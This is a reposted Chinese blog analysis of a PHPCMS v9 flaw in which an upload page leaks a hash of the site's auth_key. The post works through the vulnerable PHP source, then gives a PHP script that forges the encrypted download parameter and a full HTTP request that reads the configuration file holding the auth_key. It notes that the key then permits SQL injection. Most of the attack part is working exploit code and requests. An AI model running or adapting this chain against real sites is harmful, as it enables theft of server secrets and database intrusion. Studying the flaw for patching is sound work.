PHPCMS某处设计缺陷可致authkey泄露
Posted 羊小弟
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHPCMS某处设计缺陷可致authkey泄露相关的知识,希望对你有一定的参考价值。
在分析几个phpcms的漏洞就换分析其他的,换换口味。
漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html
swfupload上传页面输出了 MD5(auth_key+sess_id)。
函数位于 /phpcms/modules/attachment/functions/global.func.php 第45-91行
function initupload($module, $catid,$args, $userid, $groupid = \'8\', $isadmin = \'0\',$userid_flash=\'0\'){ $grouplist = getcache(\'grouplist\',\'member\'); if($isadmin==0 && !$grouplist[$groupid][\'allowattachment\']) return false; extract(getswfinit($args)); $siteid = param::get_cookie(\'siteid\'); $site_setting = get_site_setting($siteid); $file_size_limit = $site_setting[\'upload_maxsize\']; $sess_id = SYS_TIME; $admin_url = pc_base::load_config(\'system\',\'admin_url\'); $upload_path = empty($admin_url) ? APP_PATH : \'http://\'.$admin_url.\'/\'; $swf_auth_key = md5(pc_base::load_config(\'system\',\'auth_key\').$sess_id); $init = \'var swfu = \\\'\\\'; $(document).ready(function(){ swfu = new SWFUpload({ flash_url:"\'.JS_PATH.\'swfupload/swfupload.swf?"+Math.random(), upload_url:"\'.$upload_path.\'index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1", file_post_name : "Filedata", post_params:{"SWFUPLOADSESSID":"\'.$sess_id.\'","module":"\'.$module.\'","catid":"\'.$_GET[\'catid\'].\'","userid":"\'.$userid.\'","siteid":"\'.$siteid.\'","dosubmit":"1","thumb_width":"\'.$thumb_width.\'","thumb_height":"\'.$thumb_height.\'","watermark_enable":"\'.$watermark_enable.\'","filetype_post":"\'.$file_types_post.\'","swf_auth_key":"\'.$swf_auth_key.\'","isadmin":"\'.$isadmin.\'","groupid":"\'.$groupid.\'","userid_flash":"\'.$userid_flash.\'"}, file_size_limit:"\'.$file_size_limit.\'", file_types:"\'.$file_types.\'", file_types_description:"All Files", file_upload_limit:"\'.$file_upload_limit.\'", custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"}, button_image_url: "", button_width: 75, button_height: 28, button_placeholder_id: "buttonPlaceHolder", button_text_style: "", button_text_top_padding: 3, button_text_left_padding: 12, button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT, button_cursor: SWFUpload.CURSOR.HAND, file_dialog_start_handler : fileDialogStart, file_queued_handler : fileQueued, file_queue_error_handler:fileQueueError, file_dialog_complete_handler:fileDialogComplete, upload_progress_handler:uploadProgress, upload_error_handler:uploadError, upload_success_handler:uploadSuccess, upload_complete_handler:uploadComplete }); })\'; return $init; }
可以看到$init参数的值为一段js代码。
看到这里:post_params:{"SWFUPLOADSESSID":"\'.$sess_id.\'","module":"\'.$module.\'","catid":"\'.$_GET[\'catid\'].\'","userid":"\'.$userid.\'","siteid":"\'.$siteid.\'","dosubmit":"1","thumb_width":"\'.$thumb_width.\'","thumb_height":"\'.$thumb_height.\'","watermark_enable":"\'.$watermark_enable.\'","filetype_post":"\'.$file_types_post.\'","swf_auth_key":"\'.$swf_auth_key.\'","isadmin":"\'.$isadmin.\'","groupid":"\'.$groupid.\'","userid_flash":"\'.$userid_flash.\'"},
混杂着$sess_id和$swf_auth_key的值
在跟踪到上面去$swf_auth_key的值。$swf_auth_key = md5(pc_base::load_config(\'system\',\'auth_key\').$sess_id);
$swf_auth_key是由auth_key和$sess_id联合在一起共同进行md5加密。并且$swf_auth_key,$sess_id都输出到页面上了。
跟踪这整个函数,看看哪里引用了。
限制:在线投稿(需要后台开启)
在发布投稿的时候,有个图片上传,url就位于那里。
查看源码就能看到输出在页面的值了。
记录下来两个值。
接着看到第二个漏洞点。
位于 /phpcms/modules/content/down.php 第83-124行。
public function download() { $a_k = trim($_GET[\'a_k\']); $pc_auth_key = md5(pc_base::load_config(\'system\',\'auth_key\').$_SERVER[\'HTTP_USER_AGENT\']); $a_k = sys_auth($a_k, \'DECODE\', $pc_auth_key); if(empty($a_k)) showmessage(L(\'illegal_parameters\')); unset($i,$m,$f,$t,$ip); parse_str($a_k); if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L(\'illegal_parameters\')); if(!isset($modelid)) showmessage(L(\'illegal_parameters\')); if(empty($f)) showmessage(L(\'url_invalid\')); if(!$i || $m<0) showmessage(L(\'illegal_parameters\')); if(!isset($t)) showmessage(L(\'illegal_parameters\')); if(!isset($ip)) showmessage(L(\'illegal_parameters\')); $starttime = intval($t); if(preg_match(\'/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i\',$f) || strpos($f, ":\\\\")!==FALSE || strpos($f,\'..\')!==FALSE) showmessage(L(\'url_error\')); $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(\'illegal_parameters\')); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L(\'url_invalid\')); if($m) $fileurl = trim($s).trim($fileurl); //远程文件 if(strpos($fileurl, \':/\') && (strpos($fileurl, pc_base::load_config(\'system\',\'upload_url\')) === false)) { header("Location: $fileurl"); } else { if($d == 0) { header("Location: ".$fileurl); } else { $fileurl = str_replace(array(pc_base::load_config(\'system\',\'upload_url\'),\'/\'), array(pc_base::load_config(\'system\',\'upload_path\'),DIRECTORY_SEPARATOR), $fileurl); $filename = basename($fileurl); //处理中文文件 if(preg_match("/^([\\s\\S]*?)([\\x81-\\xfe][\\x40-\\xfe])([\\s\\S]*?)/", $fileurl)) { $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\\\", "/", ":"), urlencode($fileurl)); $filename = urldecode(basename($filename)); } $ext = fileext($filename); $filename = date(\'Ymd_his\').random(3).\'.\'.$ext; file_down($fileurl, $filename); } } }
看到开头的这句话:$pc_auth_key = md5(pc_base::load_config(\'system\',\'auth_key\').$_SERVER[\'HTTP_USER_AGENT\']);
利用auth_key和HTTP_USER_AGENT进行加密。UA我们本地是可以控制的,所以我们可以让UA的值与$sess_id的值相同,然后$pc_auth_key 我们也是知道的。
看到这句,$a_k = sys_auth($a_k, \'DECODE\', $pc_auth_key);
$a_k是利用GET过来的,$pc_auth_key我们又是知道的,所以我们可以本地生成经过加密$a_k的值
<?php include \'/Applications/MAMP/htdocs/phpcms_v9.5.8/phpsso_server/phpcms/libs/functions/global.func.php\'; echo sys_auth(\'i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp\', \'ENCODE\', \'12d92ed5288d3779cbbc21050a2872c7\'); ?>
先包含sys_auth函数,然后构造我们要下载的文件地址。
上面的那些参数是download函数需要的,具体的解释在以前文章有个这里的windows下任意文件相同
s和f参数,利用拼接来绕过检查,也就是这句:if($m) $fileurl = trim($s).trim($fileurl);
然后就能读取任意文件啦。
GET /phpcms_v9.5.8/index.php?m=content&c=down&a=download&a_k=4a24vbaImAul-EwWcTrYs7wE7j5Urx5t4oU732dLThlYS7A3T-z8Wx31XLBrijP0c6yi0MxacTEGBpGIc6w-t52fF-yPcyQv5O9aZCvLQxseCnyLPytVPcArzKYcBMEEhwiLu8pcvAmZ_ZDiO-YSI5d1MshWeQ6qo2LPi7-DaRpawVQ HTTP/1.1
Host: phpstudy.com
User-Agent: 1495713362
a_k的值是php文件加密来的,需要替换,UA是$sess_id的值,也是需要替换。
读取到的文件caches/configs/system.php 为网站放置auth_key的php文件。
有了这个auth_key,我们就能在本地混合sql语句然后加密auth_key,网站进行解码以后输出sql语句来绕过检查,然后对网站进行注入等操作,具体可以看http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html,或者bobao.360.cn 发的phpcmsv9.6.2的注入文章。
以上是关于PHPCMS某处设计缺陷可致authkey泄露的主要内容,如果未能解决你的问题,请参考以下文章